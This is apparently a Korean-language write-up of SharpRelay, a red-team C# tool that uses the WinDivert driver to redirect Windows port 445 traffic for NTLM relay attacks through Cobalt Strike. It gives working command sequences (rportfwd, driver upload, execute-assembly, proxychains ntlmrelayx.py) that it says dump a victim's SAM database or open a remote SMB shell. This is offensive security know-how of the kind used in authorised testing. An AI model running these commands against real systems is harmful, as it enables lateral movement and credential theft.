
C# 도구로 WinDivert 드라이버를 활용하여 Windows 포트 445 트래픽을 가로채고 리다이렉트하여 Cobalt Strike를 통한 NTLM 릴레이 공격을 가능하게 하며, 레드 팀 작전에서 측면 이동 및 자격 증명 수집을 지원합니다.
이 공격이 작동하기 위한 유일한 요구사항은 로컬 관리자 권한이 있거나 드라이버를 로드할 수 있는 비콘(beacon)을 보유하는 것입니다. SharpRelay를 사용한 공격은 다음과 같이 작동합니다:
rportfwd 명령을 실행하여 손상된 호스트의 포트 8445를 팀서버의 포트 445로 전달합니다.다음 예제 명령어는 Cobalt Strike에서 실행하여 이러한 작업을 수행할 수 있습니다:
socks 4444
rportfwd 8445 127.0.0.1 445
cd C:\Users\victim
upload /root/Desktop/intercept.sys
execute-assembly /root/Desktop/SharpRelay.exe fakeservice C:\Users\victim\intercept.sys 445 8445
위의 모든 작업이 성공적으로 실행되면 릴레이 서버를 시작해야 합니다 (프록시체인을 위 명령어에 지정된 포트(예: 4444)로 구성):
proxychains ntlmrelayx.py -t smb://<VICTIM-IP> -smb2support
위 명령어는 피해자 호스트에서 SAM 데이터베이스를 덤프합니다. 또한 대화형 SMB 셸을 획득하거나 피해자에서 원격으로 명령을 실행하는 것도 가능합니다.
SharpRelay는 Win10 x64에서 테스트되었습니다.
도구를 소스에서 빌드하려면 다음을 수행할 수 있습니다:
위 지침은 Visual Studio 2019를 사용하여 테스트되었습니다.
SharpRelay는 WinDivert 드라이버를 기반으로 합니다. 설명에 따르면 WinDivert는 사용자 모드 패킷 가로채기 및 수정을 가능하게 하는 커널 드라이버입니다. 사용자는 필터를 지정해야 하며, 이 필터와 일치하는 모든 패킷이 가로채져 수정될 수 있습니다.
ReadMe 파일에서:
The WinDivert.sys driver is installed below the Windows network stack. The
following actions occur:
(1) A new packet enters the network stack and is intercepted by WinDivert.sys
(2a) If the packet matches the PROGRAM-defined filter, it is diverted. The
PROGRAM can then read the packet using a call to WinDivertRecv().
(2b) If the packet does not match the filter, the packet continues as normal.
(3) PROGRAM either drops, modifies, or re-injects the packet. PROGRAM can
re-inject the (modified) using a call to WinDivertSend().
우리에게 가장 중요한 점은 WinDivert를 통해 열린 Windows 포트로 향하는 트래픽을 가로채서 각 패킷의 TCP 소스 및 대상 포트를 수정하고, TCP 체크섬을 재계산한 후 패킷을 네트워크 스택에 다시 주입함으로써 다른 포트로 리디렉션할 수 있다는 것입니다.
Windows에서는 기본적으로 포트 445가 항상 실행 중입니다. 포트 445를 사용하는 과정에 대한 자세한 내용은 이미 다음 게시물에서 분석되었으므로 여기서는 다루지 않겠습니다. 다음 게시물을 읽어보시기 바랍니다:
위 게시물에는 또 다른 흥미로운 아이디어도 포함되어 있습니다. WinDivert를 사용하여 Metasploit을 통해 SMB 릴레이 공격을 수행하는 것입니다. divertTCPconn.exe와 함께 몇 개의 DLL과 드라이버 파일을 대상 호스트에 업로드하고 실행할 수 있습니다. 저는 이 공격이 훌륭하다고 생각했지만, 대상 호스트에 여러 DLL을 업로드해야 한다는 점이 마음에 들지 않았습니다.
그래서 제 목표는 디스크에 최소한의 파일만 남기면서 동일한 공격을 수행하고, Cobalt Strike를 통해 공격을 실행하는 것이었습니다.
우선, 저는 Cobalt Strike의 execute-assembly 함수를 활용하고 싶었기 때문에 .NET 프레임워크를 사용하여 코드를 작성하기로 결정했습니다. 처음에는 divertTCPconn을 C#으로 다시 작성하면 모든 것이 작동할 것이라고 생각했습니다. 그런데 이것은 매우 복잡하다는 것이 밝혀졌습니다. 다행히도 TechnikEmpire가 작성한 다음 NuGet 패키지를 찾았습니다:
WinDivertSharp를 사용하여 서비스를 생성하여 드라이버를 로드하고 WinDivert 드라이버와 통신하여 필요한 모든 패킷 수정을 수행하는 SharpRelay를 작성할 수 있었습니다.